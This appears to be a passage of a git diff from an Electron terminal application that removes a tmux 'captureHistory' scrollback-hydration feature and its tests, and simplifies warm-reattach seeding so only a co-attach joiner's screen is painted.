--- a/src/main/remote-ssh/ssh-project.test.ts
+++ b/src/main/remote-ssh/ssh-project.test.ts
@@ -129,7 +129,7 @@ describe('SshProjectManager', () => {
// The conf was written via `cat >` (with the conf body as stdin) and then source-file'd.
const write = calls.find((c) => c.args.join(' ').includes(`cat > '/home/u/.nodeterm/tmux.conf'`))
expect(write).toBeDefined()
- expect(write?.stdin).toContain('set -g mouse off')
+ expect(write?.stdin).toContain('set -g mouse on')
expect(calls.some((c) => c.args.join(' ').includes(`source-file '/home/u/.nodeterm/tmux.conf'`))).toBe(true)
})
diff --git a/src/main/remote/client-service.ts b/src/main/remote/client-service.ts
index f6974d3bf..2c188d1ce 100644
--- a/src/main/remote/client-service.ts
+++ b/src/main/remote/client-service.ts
@@ -12,7 +12,6 @@
// - `write(streamId, data)` -> `OP.Input` frame (payload = UTF-8 bytes)
// - `resize(streamId, cols, rows)` -> `OP.Resize` frame (payload = 2x uint16 LE)
// - `kill(streamId)` -> RPC `pty.kill {streamId}`
-// - `captureHistory(streamId)` -> RPC `pty.captureHistory {streamId}` (host-side scrollback)
// - host `OP.Output` frame -> per-session data event (UTF-8 decoded)
// - host `OP.Error` frame -> per-session exit event ({exitCode} JSON), stream dropped
//
@@ -61,13 +60,6 @@ export interface ClientHandlers {
resize(streamId: number, cols: number, rows: number): void
/** Kill a remote PTY (the host detaches its client; the host-side tmux session survives). */
kill(streamId: number): void
- /**
- * Scrollback (tmux history + visible screen) of a stream this client is already attached to, so
- * the renderer can hydrate its empty xterm on a warm reattach (`RPC pty.captureHistory`). The
- * host jails the request to its own granted streams, so it is keyed by `streamId` — never by a
- * tmux session name. Degrades to '' on an unknown stream or a host error.
- */
- captureHistory(streamId: number): Promise<string>
/** Route an inbound host frame (OP.Output / OP.Error) to the matching session sinks. */
onFrame(frame: Frame): void
/** Drop all tracked streams (called on disconnect/close); does not RPC the host. */
@@ -142,16 +134,6 @@ export function createClientHandlers(
if (!stream) return
socket.sendFrame(OP.Resize, streamId, stream.seq++, resizePayload(cols, rows))
},
- async captureHistory(streamId) {
- if (!streams.has(streamId)) return ''
- try {
- const body = asRecord(await socket.rpc('pty.captureHistory', { streamId }))
- return typeof body.output === 'string' ? body.output : ''
- } catch {
- // History is a nicety; the live stream matters more — never fail the attach over it.
- return ''
- }
- },
kill(streamId) {
if (!streams.has(streamId)) return
streams.delete(streamId)
@@ -375,15 +357,6 @@ export function initRemoteClient(win: BrowserWindow, deps?: { isPackaged?: boole
connections.get(String(connectionId))?.handlers.kill(Number(sessionId))
})
- // Warm-reattach hydration: the remote node's tmux session lives on the host, so its scrollback
- // has to come from there. A missing connection degrades to '' (the terminal still streams live).
- ipcMain.handle(
- IPC.remoteClientCaptureHistory,
- (_e, connectionId: string, sessionId: string): Promise<string> =>
- connections.get(String(connectionId))?.handlers.captureHistory(Number(sessionId)) ??
- Promise.resolve('')
- )
-
// The client renderer's optimistic canvas edit → forward to the host as a `canvas:mutate` RPC.
ipcMain.on(IPC.remoteClientMutate, (_e, connectionId: string, mutation: CanvasMutation) => {
connections.get(String(connectionId))?.canvas.sendMutation(mutation)
diff --git a/src/main/remote/host-service.ts b/src/main/remote/host-service.ts
index 9e5530112..1880a5fd9 100644
--- a/src/main/remote/host-service.ts
+++ b/src/main/remote/host-service.ts
@@ -11,10 +11,6 @@
// into an `OP.Error` frame (then the stream is dropped).
// - `OP.Input` frame -> `write(sessionId, <utf-8 payload>)`
// - `OP.Resize` frame -> `resize(sessionId, cols, rows)` (payload = 2x uint16 LE)
-// - RPC `pty.captureHistory {streamId, lines?, maxBytes?}` -> `captureHistory(persistKey, lines)`,
-// returning `{ output }` (tmux scrollback, so a re-entering client can hydrate its empty
-// emulator scrollback). `lines`/`maxBytes` are SIZE hints only — clamped, and they can only
-// SHRINK the reply (a phone on a mobile link asks for far less than the desktop caps).
// - RPC `pty.kill {streamId}` -> `kill(null, sessionId)` (null = the relay owns this pty; it has
// no UI subscribers, so dropping its sinks releases it)
// Output backpressure: when `sendFrame` returns false the host pauses the PTY via `setFlow`
@@ -31,8 +27,7 @@ import { app, ipcMain, safeStorage, type BrowserWindow } from 'electron'
import { IPC } from '../../shared/ipc'
import type { CanvasMutation, CanvasState, DirEntry, PtyCreateOptions } from '../../shared/types'
import type { AgentId } from '../../shared/agents/config'
-import { PtyManager, trimToBytes, type DetachedSinks } from '../../core/pty-manager'
-import { HISTORY_LINES, HISTORY_MAX_BYTES, clampHistoryLines } from '../../core/history-limits'
+import { PtyManager, type DetachedSinks } from '../../core/pty-manager'
import * as fsOps from '../../core/fs-ops'
import { getStoredEntitlement, isPremium } from '../../core/license'
import { genKeyPair, publicKeyToB64, type KeyPair } from './e2ee'
@@ -65,10 +60,6 @@ export interface HostPtyManager {
): string
/** Current visible screen of a node's tmux session, for the attach snapshot. */
captureSnapshot(persistKey: string): Promise<string>
- /** Scrollback (history + visible screen) of a node's tmux session, for hydrating a fresh
- * emulator on re-entry — the client's own scrollback is empty on a warm reattach. `lines` is
- * clamped by the pty-manager itself (it is interpolated into a tmux command). */
- captureHistory(persistKey: string, lines?: number): Promise<string>
/** `clientId` identifies WHO typed (the bridged phone's presence peer), so the keystroke can be
* attributed to it — null when this session has no peer, which just means it is not badged. */
write(clientId: number | null, sessionId: string, data: string): void
@@ -320,35 +311,6 @@ export function createHostHandlers(
}
}
- /**
- * Scrollback of the session this stream is ALREADY attached to, so the client can hydrate its
- * (empty) emulator scrollback on re-entry. Deliberately keyed by `streamId`, never by a
- * client-supplied tmux session name / persistKey: a client may only read the history of a
- * session `pty.attach` already granted it. An unknown stream degrades to an empty result.
- *
- * `lines` / `maxBytes` are size hints, not targets: both are clamped to the desktop caps, so a
- * client can only ever ask for LESS than `HISTORY_LINES` / `HISTORY_MAX_BYTES` of the session it
- * already holds. A phone uses them to keep the (E2EE, base64-inflated) reply small enough to fit
- * comfortably in one WebSocket message.
- */
- function handleCaptureHistory(req: RpcRequest): void {
- const p = asRecord(req.params)
- const stream = streams.get(num(p.streamId, -1))
- if (!stream) {
- socket.respond(req.id, true, { output: '' })
- return
- }
- const lines = clampHistoryLines(num(p.lines, HISTORY_LINES))
- const maxBytes = Math.min(
- HISTORY_MAX_BYTES,
- Math.max(1, Math.floor(num(p.maxBytes, HISTORY_MAX_BYTES)))
- )
- void pty
- .captureHistory(stream.persistKey, lines)
- .then((output) => socket.respond(req.id, true, { output: trimToBytes(output, maxBytes) }))
- .catch(() => socket.respond(req.id, true, { output: '' }))
- }
-
function handleKill(req: RpcRequest): void {
const streamId = num(asRecord(req.params).streamId, -1)
const stream = streams.get(streamId)
@@ -371,9 +333,6 @@ export function createHostHandlers(
case 'pty.attach':
handleAttach(req)
break
- case 'pty.captureHistory':
- handleCaptureHistory(req)
- break
case 'pty.kill':
handleKill(req)
break
diff --git a/src/main/remote/remote-security.test.ts b/src/main/remote/remote-security.test.ts
index f6b8bd869..2630f6b72 100644
--- a/src/main/remote/remote-security.test.ts
+++ b/src/main/remote/remote-security.test.ts
@@ -33,7 +33,6 @@ function makeHostFakes() {
createDetached: vi.fn(() => 'sess'),
attachDetached: vi.fn(() => 'sess'),
captureSnapshot: vi.fn(async () => ''),
- captureHistory: vi.fn(async () => 'HISTORY'),
write: vi.fn(),
resize: vi.fn(),
setFlow: vi.fn(),
@@ -93,95 +92,6 @@ describe('R1: fs.* is confined to the shared roots', () => {
})
})
-// --- pty.captureHistory: scoped to an already-attached stream ----------------
-
-describe('pty.captureHistory is scoped to the client\'s own streams', () => {
- it('captures the history of the session the streamId is attached to', async () => {
- const { socket, responses, fs, pty } = makeHostFakes()
- const handlers = createHostHandlers(pty, socket, fs, () => [])
- handlers.onRpc({ id: '1', method: 'pty.attach', params: { nodeId: 'node-a', cols: 80, rows: 24 } })
- await Promise.resolve()
- await Promise.resolve()
- const streamId = (responses[0].body as { streamId: number }).streamId
-
- handlers.onRpc({ id: '2', method: 'pty.captureHistory', params: { streamId } })
- await Promise.resolve()
- await Promise.resolve()
- expect(pty.captureHistory as ReturnType<typeof vi.fn>).toHaveBeenCalledWith('node-a', 5000)
- expect(responses[1]).toEqual({ id: '2', ok: true, body: { output: 'HISTORY' } })
- })
-
- it('keeps the streamId as the target even when hostile session names ride along', async () => {
- // The actual override-attempt shape: a VALID streamId (the client legitimately holds it) plus
- // a hostile persistKey/nodeId/session in the same params. The target must still come from the
- // stream, never from the client's names.
- const { socket, responses, fs, pty } = makeHostFakes()
- const handlers = createHostHandlers(pty, socket, fs, () => [])
- handlers.onRpc({ id: '1', method: 'pty.attach', params: { nodeId: 'node-a', cols: 80, rows: 24 } })
- await Promise.resolve()
- await Promise.resolve()
- const streamId = (responses[0].body as { streamId: number }).streamId
-
- handlers.onRpc({
- id: '2',
- method: 'pty.captureHistory',
- params: { streamId, persistKey: 'victim', nodeId: 'victim', session: 'nt-victim' }
- })
- await Promise.resolve()
- await Promise.resolve()
- const captureHistory = pty.captureHistory as ReturnType<typeof vi.fn>
- expect(captureHistory).toHaveBeenCalledTimes(1)
- expect(captureHistory).toHaveBeenCalledWith('node-a', 5000) // NOT 'victim'
- expect(responses[1]).toEqual({ id: '2', ok: true, body: { output: 'HISTORY' } })
- })
-
- it('clamps the client\'s lines/maxBytes hints (they can only shrink the reply)', async () => {
- const { socket, responses, fs, pty } = makeHostFakes()
- ;(pty.captureHistory as ReturnType<typeof vi.fn>).mockResolvedValue('one\ntwo\nthree\n')
- const handlers = createHostHandlers(pty, socket, fs, () => [])
- handlers.onRpc({ id: '1', method: 'pty.attach', params: { nodeId: 'node-a', cols: 80, rows: 24 } })
- await Promise.resolve()
- await Promise.resolve()
- const streamId = (responses[0].body as { streamId: number }).streamId
-
- // A client asking for MORE than the caps is clamped down to them; a small maxBytes trims the
- // reply from the head (oldest lines first).
- handlers.onRpc({
- id: '2',
- method: 'pty.captureHistory',
- params: { streamId, lines: 999_999, maxBytes: 8 }
- })
- await Promise.resolve()
- await Promise.resolve()
- expect(pty.captureHistory as ReturnType<typeof vi.fn>).toHaveBeenCalledWith('node-a', 5000)
- const body = responses[1].body as { output: string }
- expect(Buffer.byteLength(body.output, 'utf-8')).toBeLessThanOrEqual(8)
- expect(body.output).toBe('three\n')
- })
-
- it('degrades to an empty result for an unknown streamId (never reads another session)', async () => {
- const { socket, responses, fs, pty } = makeHostFakes()
- const handlers = createHostHandlers(pty, socket, fs, () => [])
- handlers.onRpc({ id: '1', method: 'pty.captureHistory', params: { streamId: 42 } })
- await Promise.resolve()
- expect(pty.captureHistory as ReturnType<typeof vi.fn>).not.toHaveBeenCalled()
- expect(responses).toEqual([{ id: '1', ok: true, body: { output: '' } }])
- })
-
- it('ignores a client-supplied session name / persistKey', async () => {
- const { socket, responses, fs, pty } = makeHostFakes()
- const handlers = createHostHandlers(pty, socket, fs, () => [])
- handlers.onRpc({
- id: '1',
- method: 'pty.captureHistory',
- params: { session: 'nt-victim', persistKey: 'victim', nodeId: 'victim' }
- })
- await Promise.resolve()
- expect(pty.captureHistory as ReturnType<typeof vi.fn>).not.toHaveBeenCalled()
- expect(responses).toEqual([{ id: '1', ok: true, body: { output: '' } }])
- })
-})
-
// --- projects.list: read-only browse RPC ------------------------------------
describe('projects.list serves the host projects blob', () => {
diff --git a/src/preload/index.ts b/src/preload/index.ts
index 8944d47c6..e9253c0ad 100644
--- a/src/preload/index.ts
+++ b/src/preload/index.ts
@@ -56,7 +56,6 @@ const api: NodeTerminalApi = {
ipcRenderer.invoke(IPC.ptyGenerateGroupName, memberKeys, cwd),
capture: (persistKey, full) => ipcRenderer.invoke(IPC.ptyCapture, persistKey, full),
readScrollback: (persistKey) => ipcRenderer.invoke(IPC.ptyReadScrollback, persistKey),
- captureHistory: (persistKey) => ipcRenderer.invoke(IPC.ptyCaptureHistory, persistKey),
sendText: (persistKey, text) => ipcRenderer.invoke(IPC.ptySendText, persistKey, text),
readSessionName: (sessionId, accountId) =>
ipcRenderer.invoke(IPC.ptyReadSessionName, sessionId, accountId),
@@ -363,8 +362,6 @@ const api: NodeTerminalApi = {
ipcRenderer.send(IPC.remoteClientResize, connectionId, sessionId, cols, rows),
kill: (connectionId, sessionId) =>
ipcRenderer.send(IPC.remoteClientKill, connectionId, sessionId),
- captureHistory: (connectionId, sessionId) =>
- ipcRenderer.invoke(IPC.remoteClientCaptureHistory, connectionId, sessionId),
onData: (connectionId, sessionId, listener) => {
const channel = IPC.remoteClientData(connectionId, Number(sessionId))
const handler = (_e: unknown, data: string) => listener(data)
diff --git a/src/renderer/bridge/stubs.ts b/src/renderer/bridge/stubs.ts
index 6f7c55b79..463bc31fe 100644
--- a/src/renderer/bridge/stubs.ts
+++ b/src/renderer/bridge/stubs.ts
@@ -247,7 +247,6 @@ export function buildStubApi(): Omit<
// Relay client mode is desktop-only (the whole `remoteClient` block is unsupported here), so
// there is no host session to hydrate from — '' is the same "nothing to seed" the local
// hydration degrades to, and it keeps TerminalNode's warm-attach path from rejecting.
- captureHistory: async () => '',
onData: noopUnsub,
onExit: noopUnsub,
onClosed: noopUnsub,
diff --git a/src/renderer/bridge/ws-bridge.ts b/src/renderer/bridge/ws-bridge.ts
index d1a6c231a..17fb4a7be 100644
--- a/src/renderer/bridge/ws-bridge.ts
+++ b/src/renderer/bridge/ws-bridge.ts
@@ -175,8 +175,6 @@ function buildRealApi(client: RpcClient): Pick<NodeTerminalApi, 'pty' | 'workspa
client.request(IPC.ptyCapture, persistKey, full).catch(() => '') as Promise<string>,
readScrollback: (persistKey) =>
client.request(IPC.ptyReadScrollback, persistKey) as Promise<string>,
- captureHistory: (persistKey: string) =>
- client.request(IPC.ptyCaptureHistory, persistKey) as Promise<string>,
sendText: (persistKey, text) =>
client.request(IPC.ptySendText, persistKey, text) as Promise<boolean>,
// No server handler — the session-name poll degrades to no adopted name.
diff --git a/src/renderer/nodes/TerminalNode.tsx b/src/renderer/nodes/TerminalNode.tsx
index ac7df8395..f26b72b43 100644
--- a/src/renderer/nodes/TerminalNode.tsx
+++ b/src/renderer/nodes/TerminalNode.tsx
@@ -31,7 +31,6 @@ import {
repaintResync,
reportedSize,
seedPaint,
- warmSeed,
setFittedSize,
shouldApplyResync,
stripTrailingNewline,
@@ -887,10 +886,12 @@ export function TerminalNode({ id, data, selected, parentId }: NodeProps<CanvasN
})
)
}
- // Seed the (fresh) emulator with the history it can't see: a cold restart replays the
- // persisted snapshot (the tmux session died with the machine), a warm reattach pulls
- // tmux's own scrollback. Parked terminals get neither — their buffer is still correct
- // and seeding it would duplicate content.
+ // Seed the (fresh) emulator — but only in the two cases where nothing else will paint it:
+ // a COLD restart (the machine rebooted, the tmux session is gone, so replay the persisted
+ // snapshot) and a co-attach JOINER (no redraw of its own — see below). A plain warm
+ // reattach seeds NOTHING: tmux is attached to this client, redraws it, and owns the
+ // history the wheel scrolls. Parked terminals seed nothing either — their buffer is still
+ // correct and writing to it would duplicate content.
// The gate MUST be opened whatever happens in here (`finally`): the data listener already
// exists, so a throw between it and `gate.open()` would queue chunks forever — the source
// pauses at the high-water mark and the terminal freezes silently and permanently. The
@@ -911,34 +912,21 @@ export function TerminalNode({ id, data, selected, parentId }: NodeProps<CanvasN
term.write(toXtermText(snapshot))
term.write('\r\n\x1b[90m── session restored (process ended by a restart) ──\x1b[0m\r\n')
}
- } else if (replay === 'warm-history') {
- // Warm reattach: tmux redraws only the VISIBLE screen, so everything above it would be
- // missing from this fresh xterm. `captureHistory` includes the visible screen too —
- // tmux's redraw (\x1b[H\x1b[2J) erases exactly those lines in place, so it overwrites
- // the tail of what we write here instead of leaving a gap. This is the session's REAL
- // history, not a restore boundary — it gets no separator line.
- // Requested only now (not prefetched alongside the spawn): for an SSH node the remote
- // tmux is only reachable once `create()` has registered the session's ssh target — an
- // earlier call would silently fall through to the LOCAL tmux and return ''.
- // Goes through the TRANSPORT, not `window.nodeTerminal.pty`: a relay-backed node's tmux
- // session lives on the HOST, so the local PtyManager has nothing to capture and the
- // node would come up with an empty scrollback.
- const history = await transport.captureHistory(id).catch(() => '')
- if ((toreDown = onDisposed())) return
- // A resync that landed while we awaited the capture is strictly newer than what we just
- // fetched, so `seedPaint` says 'none' and we write nothing. It is a CONDITION, never a
- // `return`: everything below this try/finally — the onExit notice, `term.onData` (the
- // KEYBOARD INPUT path) and the initialCommand / agent-resume — must still be wired, or
- // the terminal streams output, looks alive, and silently accepts no input forever.
- const paint = seedPaint({ replay, superseded, history, screen })
- if (paint !== 'none') {
- // `warmSeed` owns the exact bytes: the history, pushed `term.rows` lines above the
- // fold so tmux's in-place redraw cannot leave a second copy of it behind (see its
- // doc), plus — for a CO-ATTACH JOINER — the visible `screen` from `create()`, which
- // is the one thing the history no longer carries (the capture excludes the visible
- // screen, because tmux is about to paint it) and which a joiner never gets a redraw
- // for. A joiner whose history capture failed still opens on its teammate's screen.
- term.write(warmSeed({ history, screen, rows: term.rows }))
+ } else if (replay === 'warm-attach') {
+ // tmux is attached to this client and paints it: the visible screen on attach, its own
+ // history under the wheel. So there is nothing to hydrate — EXCEPT for a CO-ATTACH
+ // JOINER, whose `screen` was captured inside `create()`: tmux only repaints on SIGWINCH,
+ // and a joiner that did not resize never gets one, so this capture is the only thing
+ // that paints it (see "Painting the joiner" in docs/team-presence.md).
+ // A resync that landed while we awaited the spawn is strictly newer, so `seedPaint` says
+ // 'none' and we write nothing. It is a CONDITION, never a `return`: everything below
+ // this try/finally — the onExit notice, `term.onData` (the KEYBOARD INPUT path) and the
+ // initialCommand / agent-resume — must still be wired, or the terminal streams output,
+ // looks alive, and silently accepts no input forever.
+ if (seedPaint({ replay, superseded, screen }) === 'create-screen') {
+ // Start from a known-clean SGR state; the capture is LF-separated (`capture-pane -p`)
+ // and xterm runs with convertEol:false, so the LFs have to become CRLFs.
+ term.write('\x1b[0m' + toXtermText(stripTrailingNewline(screen as string)))
}
}
} catch (err) {
diff --git a/src/renderer/terminal/local-transport.ts b/src/renderer/terminal/local-transport.ts
index b848f45b1..b2e448fe2 100644
--- a/src/renderer/terminal/local-transport.ts
+++ b/src/renderer/terminal/local-transport.ts
@@ -40,10 +40,6 @@ export class LocalTransport implements TerminalTransport {
this.pty.recycle(persistKey)
}
- captureHistory(persistKey: string): Promise<string> {
- return this.pty.captureHistory(persistKey)
- }
-
onData(sessionId: string, listener: (data: string) => void): () => void {
return this.pty.onData(sessionId, listener)
}
diff --git a/src/renderer/terminal/remote-transport.test.ts b/src/renderer/terminal/remote-transport.test.ts
index cd723d428..63617f836 100644
--- a/src/renderer/terminal/remote-transport.test.ts
+++ b/src/renderer/terminal/remote-transport.test.ts
@@ -2,10 +2,9 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
import { RemoteTransport } from './remote-transport'
// Minimal `window.nodeTerminal.remoteClient` fake: RemoteTransport is pure glue over it.
-function fakeClient(history = 'HOST HISTORY') {
+function fakeClient() {
return {
create: vi.fn(async () => '7'),
- captureHistory: vi.fn(async () => history),
write: vi.fn(),
resize: vi.fn(),
kill: vi.fn(),
@@ -25,24 +24,10 @@ afterEach(() => {
delete (globalThis as { window?: unknown }).window
})
-describe('RemoteTransport.captureHistory', () => {
- it('fetches the HOST-side scrollback for the session it attached for this node', async () => {
- // The client machine has no `nt-<nodeId>` tmux session, so hydration must go over the relay —
- // keyed by the stream the host granted this client, not by the tmux session name.
- const transport = new RemoteTransport('conn-1')
- await transport.create({ cols: 80, rows: 24, persistKey: 'node-a' })
-
- await expect(transport.captureHistory('node-a')).resolves.toBe('HOST HISTORY')
- expect(client.captureHistory).toHaveBeenCalledWith('conn-1', '7')
- })
-
- it('returns an empty history for a node it never attached (nothing to hydrate from)', async () => {
- const transport = new RemoteTransport('conn-1')
- await expect(transport.captureHistory('node-b')).resolves.toBe('')
- expect(client.captureHistory).not.toHaveBeenCalled()
- })
-
- it('reports a warm (non-fresh) attach, so TerminalNode takes the history-hydration path', async () => {
+describe('RemoteTransport.create', () => {
+ it('reports a warm (non-fresh) attach: a mirroring client must never replay or relaunch', async () => {
+ // Cold-restore (scrollback replay / agent resume) is the HOST's responsibility. Nothing is
+ // hydrated on a warm attach — the host's tmux redraws the pane and owns its history.
const transport = new RemoteTransport('conn-1')
await expect(transport.create({ cols: 80, rows: 24, persistKey: 'node-a' })).resolves.toEqual({
sessionId: '7',
diff --git a/src/renderer/terminal/remote-transport.ts b/src/renderer/terminal/remote-transport.ts
index b3dda88c6..4ca56330a 100644
--- a/src/renderer/terminal/remote-transport.ts
+++ b/src/renderer/terminal/remote-transport.ts
@@ -39,16 +39,6 @@ export class RemoteTransport implements TerminalTransport {
return { sessionId, fresh: false }
}
- async captureHistory(persistKey: string): Promise<string> {
- // The tmux session lives on the HOST, so its history has to come over the relay. The host jails
- // the request to a stream this client already attached to (`pty.captureHistory {streamId}`) —
- // hence the lookup: we ask for the history of the session `create()` opened for this node, not
- // for an arbitrary tmux session name.
- const sessionId = this.sessions.get(persistKey)
- if (!sessionId) return ''
- return this.client.captureHistory(this.connectionId, sessionId)
- }
-
write(sessionId: string, data: string): void {
this.client.write(this.connectionId, sessionId, data)
}
diff --git a/src/renderer/terminal/terminal-config.test.ts b/src/renderer/terminal/terminal-config.test.ts
index 6feb0ebb2..2d2b92186 100644
--- a/src/renderer/terminal/terminal-config.test.ts
+++ b/src/renderer/terminal/terminal-config.test.ts
@@ -14,7 +14,6 @@ import {
repaintResync,
reportedSize,
seedPaint,
- warmSeed,
setFittedSize,
shouldApplyResync,
stripTrailingNewline,
@@ -86,8 +85,8 @@ describe('attachReplay', () => {
expect(attachReplay({ parked: false, fresh: true, hasInitialCommand: false })).toBe('cold-snapshot')
})
- it('hydrates from tmux history on a warm reattach (fresh xterm, live session)', () => {
- expect(attachReplay({ parked: false, fresh: false, hasInitialCommand: false })).toBe('warm-history')
+ it('seeds nothing on a warm reattach — tmux redraws the pane and owns its history', () => {
+ expect(attachReplay({ parked: false, fresh: false, hasInitialCommand: false })).toBe('warm-attach')
})
it('seeds nothing on a brand-new node (fresh session + launch command)', () => {
@@ -442,30 +441,24 @@ describe('seedPaint', () => {
expect(seedPaint({ replay: 'cold-snapshot', superseded: false, snapshot: '' })).toBe('none')
})
- it('paints tmux history on a warm reattach', () => {
- expect(seedPaint({ replay: 'warm-history', superseded: false, history: 'scrollback' })).toBe(
- 'history'
- )
+ it('paints NOTHING on a plain warm reattach — tmux redraws the pane itself', () => {
+ // Hydrating here is exactly what produced the black bands and duplicated screens: tmux is a
+ // screen painter, and its repaints leaked into whatever we had seeded.
+ expect(seedPaint({ replay: 'warm-attach', superseded: false })).toBe('none')
})
- it('falls back to the create-result screen for a joiner whose history capture came back empty', () => {
+ it("paints the create-result screen for a CO-ATTACH JOINER (it gets no tmux redraw)", () => {
expect(
- seedPaint({ replay: 'warm-history', superseded: false, history: '', screen: 'live screen' })
+ seedPaint({ replay: 'warm-attach', superseded: false, screen: 'live screen' })
).toBe('create-screen')
- // Both available: the seed is still driven by the history (`warmSeed` paints the joiner's
- // screen underneath it — the capture EXCLUDES the visible screen, so the two don't overlap).
- expect(
- seedPaint({ replay: 'warm-history', superseded: false, history: 'hist', screen: 'scr' })
- ).toBe('history')
- // Neither: a blank-but-live terminal beats a wrongly painted one.
- expect(seedPaint({ replay: 'warm-history', superseded: false, history: '', screen: '' })).toBe(
- 'none'
- )
+ // No screen (a solo warm reattach, or a capture that came back empty): a blank-but-live
+ // terminal beats a wrongly painted one — tmux paints it a moment later anyway.
+ expect(seedPaint({ replay: 'warm-attach', superseded: false, screen: '' })).toBe('none')
})
it('paints nothing for a parked terminal (its buffer is already correct)', () => {
expect(
- seedPaint({ replay: 'none', superseded: false, snapshot: 'old', history: 'hist' })
+ seedPaint({ replay: 'none', superseded: false, snapshot: 'old', screen: 'scr' })
).toBe('none')
})
@@ -473,13 +466,12 @@ describe('seedPaint', () => {
// The whole point of the helper: a superseded seed still returns a PAINT decision, so the spawn
// continuation carries on to wire onExit, term.onData (the keyboard input path) and the
// initialCommand / agent resume. `none` is not a signal to return.
- for (const replay of ['cold-snapshot', 'warm-history', 'none'] as const) {
+ for (const replay of ['cold-snapshot', 'warm-attach', 'none'] as const) {
expect(
seedPaint({
replay,
superseded: true,
snapshot: 'old snapshot',
- history: 'old history',
screen: 'old screen'
})
).toBe('none')
@@ -513,7 +505,7 @@ function fakeTerm(): {
describe('repaintResync', () => {
it('resets only AFTER the writes already queued have been parsed (never mid-flight)', () => {
const term = fakeTerm()
- term.write('STALE HISTORY') // a warm-history seed, handed to xterm but not yet parsed
+ term.write('STALE HISTORY') // a seed already handed to xterm but not yet parsed
repaintResync(term, 'FRESH')
// Nothing repainted yet: an inline reset() would have cleared an almost-empty buffer and the
// stale history would then parse on top of the cleared screen.
@@ -585,42 +577,3 @@ describe('repaintResync', () => {
expect(term.ops).toContain('write:TWO')
})
})
-
-describe('warmSeed', () => {
- const rows = 20
-
- it('pushes the history above the fold so tmux\'s in-place redraw cannot leave a second copy', () => {
- const seed = warmSeed({ history: 'line1\nline2\n', rows })
- // The history itself, CRLF-converted, with its trailing newline consumed by the padding.
- expect(seed).toContain('line1\r\nline2')
- // Exactly `rows` newlines after it: the viewport is blank when tmux repaints it, so nothing of
- // ours survives in the viewport to reappear in the scrollback.
- const padding = seed.slice(seed.indexOf('line2') + 'line2'.length)
- expect(padding).toBe('\r\n'.repeat(rows))
- })
-
- it('starts the block from a clean SGR state (the capture can begin mid-escape)', () => {
- expect(warmSeed({ history: 'x\n', rows }).startsWith('\x1b[0m')).toBe(true)
- })
-
- it('writes nothing at all when there is no history and no screen', () => {
- expect(warmSeed({ history: '', screen: '', rows })).toBe('')
- expect(warmSeed({ history: null, screen: null, rows })).toBe('')
- })
-
- it('emits no padding when there is no history (nothing to push above the fold)', () => {
- expect(warmSeed({ screen: 'live\n', rows })).toBe('\x1b[0m' + 'live')
- })
-
- it("paints a joiner's screen after the history — it gets no tmux redraw of its own", () => {
- const seed = warmSeed({ history: 'old\n', screen: 'now\n', rows })
- expect(seed.indexOf('old')).toBeLessThan(seed.indexOf('now'))
- expect(seed.endsWith('now')).toBe(true)
- // …and the history is still pushed above the fold, so the screen lands on blank lines.
- expect(seed).toContain('\r\n'.repeat(rows))
- })
-
- it('never divides by a zero-row terminal', () => {
- expect(warmSeed({ history: 'x\n', rows: 0 })).toBe('\x1b[0m' + 'x' + '\r\n')
- })
-})
diff --git a/src/renderer/terminal/terminal-config.ts b/src/renderer/terminal/terminal-config.ts
index 452b5e88a..45a225b46 100644
--- a/src/renderer/terminal/terminal-config.ts
+++ b/src/renderer/terminal/terminal-config.ts
@@ -124,18 +124,17 @@ export function shouldApplyResync(screen: string | null | undefined): screen is
export const XTERM_SCROLLBACK_MAX = 10000
/**
- * Floor, mirroring the tmux conf's own `history-limit ${Math.max(1000, scrollback)}`. Without it a
- * user who sets `tmuxScrollback: 100` would get 1000 lines of tmux history but a 100-line xterm
- * buffer — and xterm is the buffer the user actually scrolls, so the tmux history would be
- * unreachable.
+ * Floor, mirroring the tmux conf's own `history-limit ${Math.max(1000, scrollback)}`, so the two
+ * buffers never disagree at the low end.
*/
export const XTERM_SCROLLBACK_MIN = 1000
/**
- * How many scrollback lines xterm keeps. Scrolling is xterm's job now (tmux's mouse is off),
- * so it needs a real scrollback — xterm's default is only 1000 lines. It follows the same
- * `settings.tmuxScrollback` the user picked for tmux's history-limit, but floored and capped
- * (same floor as the tmux conf, so the two buffers never disagree at the low end).
+ * How many scrollback lines xterm keeps. The WHEEL scrolls tmux (its mouse is on, and the pane is
+ * on the alternate screen), so this buffer is not what the user scrolls in a tmux session — it is
+ * the fallback for a session with no tmux (a plain shell) and the room a cold-restore snapshot
+ * replay needs. xterm's default of 1000 lines is too small for the latter, so it follows the same
+ * `settings.tmuxScrollback` the user picked for tmux's history-limit, floored and capped.
*/
export function xtermScrollback(tmuxScrollback: number): number {
return Math.min(Math.max(XTERM_SCROLLBACK_MIN, tmuxScrollback), XTERM_SCROLLBACK_MAX)
@@ -143,14 +142,17 @@ export function xtermScrollback(tmuxScrollback: number): number {
/**
* What a freshly-created xterm has to be seeded with when its session resolves:
- * - `cold-snapshot` — the tmux session is gone (first open after a reboot): replay the persisted
- * scrollback snapshot, with a "session restored" separator.
- * - `warm-history` — the tmux session is still alive but this xterm is new (app restart): tmux
- * only redraws the VISIBLE screen, so pull everything above it from tmux's own history.
+ * - `cold-snapshot` — the tmux session is GONE (first open after a machine reboot, which kills the
+ * tmux server): replay the persisted scrollback snapshot, with a "session restored" separator.
+ * - `warm-attach` — the tmux session is still alive but this xterm is new (app restart): seed
+ * NOTHING. tmux is attached to this client and PAINTS it — the visible screen on attach, and its
+ * own history under the wheel (the mouse is tmux's; see `tmuxConf`). Hydrating anything here is
+ * what used to produce the black bands and duplicated screens. The one exception is a co-attach
+ * JOINER, which gets no redraw of its own — see `seedPaint`'s `create-screen`.
* - `none` — nothing to seed: a parked terminal keeps its buffer (seeding would duplicate
* it), and a brand-new node with an `initialCommand` has no history to restore.
*/
-export type AttachReplay = 'cold-snapshot' | 'warm-history' | 'none'
+export type AttachReplay = 'cold-snapshot' | 'warm-attach' | 'none'
/** Which seeding (if any) applies to a terminal that just attached. */
export function attachReplay(opts: {
@@ -162,18 +164,18 @@ export function attachReplay(opts: {
hasInitialCommand: boolean
}): AttachReplay {
if (opts.parked) return 'none'
- if (!opts.fresh) return 'warm-history'
+ if (!opts.fresh) return 'warm-attach'
return opts.hasInitialCommand ? 'none' : 'cold-snapshot'
}
/**
* What a resolved seed PAINTS into the emulator:
* - `snapshot` — the persisted cold-restore scrollback (with the "session restored" separator).
- * - `history` — tmux's own scrollback, pulled by `transport.captureHistory`.
- * - `create-screen` — the joiner fallback: the screen captured server-side inside `create()`, used
